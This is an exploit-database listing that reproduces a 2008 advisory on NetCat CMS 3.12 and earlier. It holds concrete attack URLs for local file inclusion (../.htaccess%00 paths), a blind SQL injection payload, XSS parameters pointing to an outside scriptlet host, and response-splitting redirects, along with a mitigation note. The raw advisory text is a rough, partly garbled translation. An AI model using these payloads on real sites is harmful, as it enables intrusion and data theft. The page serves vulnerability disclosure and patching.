NetCat - exploit.company

vendor:

NetCat

by:

milw0rm.com

5.5

CVSS

MEDIUM

Multiple Remote Vulnerabilities

CWE

Product Name: NetCat

Affected Version From: 3.12

Affected Version To: 3.12

Patch Exists: NO

Related CWE: Not available

CPE: a:netcat_cms:netcat:3.12

Metasploit:

Other Scripts:

Platforms Tested:

2008

NetCat <= 3.12 Multiple Remote Vulnerabilities

NetCat versions 3.12 and lower are vulnerable to multiple remote vulnerabilities. These vulnerabilities include:1. Multiple File Including Vulnerabilities: Due to direct access to certain files, it is possible to redefine internal variables that are passed as arguments in the include() function. Examples of vulnerable files include /netcat/modules/netshop/post.php?system=../../../../.htaccess%00.2. Blind SQL Injection Vulnerabilities: Examples of vulnerable files include /netcat/modules/auth/password_recovery.php?=1'SQL_code.3. Multiple Cross-site Scripting Vulnerabilities: Examples of vulnerable files include /netcat/admin/siteinfo/iframe.inc.php?path=http://ha.ckers.org/scriptlet.html".4. HTTP Response Splitting: Examples of vulnerable files include /netcat/modules/auth/index.php?logoff=1&redirect=http://www.google.com.5. CRLF injection: This vulnerability exists when setting the value %0a in COOKIE variables. It has been found in the file /netcat/add.php.

Mitigation:

Upgrade to a version higher than 3.12. Ensure that the PHP options register_globals=Off and magic_quotes_gpc=On.

Source

Exploit-DB raw data:

NetCat <= 3.12 Multiple Remote Vulnerabilities

The description:
The set vulnerability in CMS NetCat versions 3.12 and more low was revealed.

1. Multiple File Including Vulnerabilities

Vulnerability exists for the reason that direct access to some files, around logicians of work of the appendix is possible.
It gives the chance to redefine internal variables which are transferred as arguments in function include ().
Examples of vulnerable files:
/netcat/modules/netshop/post.php?system=../../../../.htaccess%00
/netcat/modules/auth.inc.php?INCLUDE_FOLDER=../../.htaccess%00
/netcat/modules/banner.inc.php?INCLUDE_FOLDER=../../.htaccess%00
/netcat/modules/blog.inc.php?INCLUDE_FOLDER=../../.htaccess%00
/netcat/modules/forum.inc.php?INCLUDE_FOLDER=../../.htaccess%00

The note:
For vulnerability operation the following options PHP are required: register_globals=On and magic_quotes_gpc=Off

2. Blind SQL Injection Vulnerabilities

Examples of vulnerable files:
/netcat/modules/auth/password_recovery.php?=1'SQL_code

Example:
/netcat/modules/auth/password_recovery.php?=1'/**/OR/**/VERSION()/**/LIKE/**/'4%'/*

The note:
For vulnerability operation the following options PHP are required:magic_quotes_gpc=Off

3. Multiple Cross-site Scripting Vulnerabilities

Examples of vulnerable files: 
/netcat/admin/siteinfo/iframe.inc.php?path=http://ha.ckers.org/scriptlet.html" 
/netcat/FCKeditor/neditor.php?form=<XSS>&control=<XSS> etc.

4. HTTP Response Splitting

Examples of vulnerable files: 
/netcat/modules/auth/index.php?logoff=1&redirect=http://www.google.com 
/netcat/modules/linkmanager/redirect.php?url=http://www.google.com

5. CRLF injection 

Vulnerability exists at the moment of value installation %0a in COOKIEvariables.
Vulnerability has been found out at the reference to a file /netcat/add.php.

# milw0rm.com [2008-12-23]